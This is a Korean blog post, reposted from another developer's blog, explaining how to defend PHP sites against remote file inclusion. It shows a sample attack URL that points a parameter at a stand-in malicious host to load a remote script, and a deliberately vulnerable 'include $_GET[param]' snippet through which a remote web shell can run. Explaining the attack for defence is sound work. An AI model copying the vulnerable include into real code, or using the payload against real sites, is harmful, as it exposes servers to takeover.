일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 공모주 청약
- 리눅스
- 코드이그나이터
- 7월 공모주 청약 일정
- MYSQL
- 주식
- 오라클
- Stock ipo
- codeigniter
- 자바
- 제이쿼리
- Stock
- SQL
- jquery
- IPO
- 주식 청약 일정
- css
- Eclipse
- Oracle
- 주식 청약
- JavaScript
- 맥
- linux
- 자바스크립트
- html
- 6월 공모주 청약 일정
- php
- 공모주 청약 일정
- 공모주
- java
- Today
- Total
개발자의 끄적끄적
[PHP]인젝션 공격 방어 대책 본문
[PHP]인젝션 공격 방어 대책
최근에 간간이 발생되는 취약점 중 하나가 php injection입니다.
로그를 보시면 이런식으로 공격이 들어가죠..
local/test.php?param=http://malicious_text/hack.txt
PHP 프로그래밍 중 주의해야 할 것이 바로 PHP Injection 취약점입니다.
대한민국의 많은 게시판 및 웹 솔루션들이 바로 이 취약점에 무력화됩니다.
원격지의 파일을 로컬의 파일처럼 실행하는데 문제가 있습니다. 아래와 같이 코딩을 하게되면
param값으로 들어온 내용을 include()함수가 실행하여 처리하게 됩니다.
그런데 여기서 param값으로 전달되는 내용이 내부파일인지 외부파일인지를 설정에 따라 실행하게 됩니다.
( php.ini 설정에서 allow_url_fopen 이 On 인 경우, 외부 파일도 실행함 !! )
<?
include $_GET[param];
$MYSQL_HOST = "xxxxxxx";
$MYSQL_DB = "xxxxxx";
$MYSQL_ID = "xxxxxx_db";
결국 아래와 같은 원격지의 웹쉘(명령어를 실행할 수 있는 페이지)을 로컬 파일처럼 실행하여 해킹을
할 수 있습니다.
주의 : 반드시 php.ini 설정에서 allow_url_fopen 을 OFF 로 운영하셔야.. )
또 한가지 재미있는 사실은 웹 방화벽은 이러한 공격을 지극히 정상적으로 인식하여 웹 방화벽을 운영하고도
뚫린다는 사실입니다. ^^
출처: https://superes.tistory.com/69 [SUPERES DEV]
'개발 > php' 카테고리의 다른 글
[php/codeigniter] geoip library [펌] (0) | 2020.06.23 |
---|---|
[php] 현재 url 확인 (0) | 2020.06.22 |
[php] php에서 hash table DoS(HashDoS) 공격 방어 [펌] (0) | 2020.06.18 |
[php] PHP 에서 ' (싱글쿼터) 와 " (더블쿼터) 차이 [펌] (0) | 2020.06.17 |
[PHP] 비교 연산자 == 와 === 의 차이 (0) | 2020.06.16 |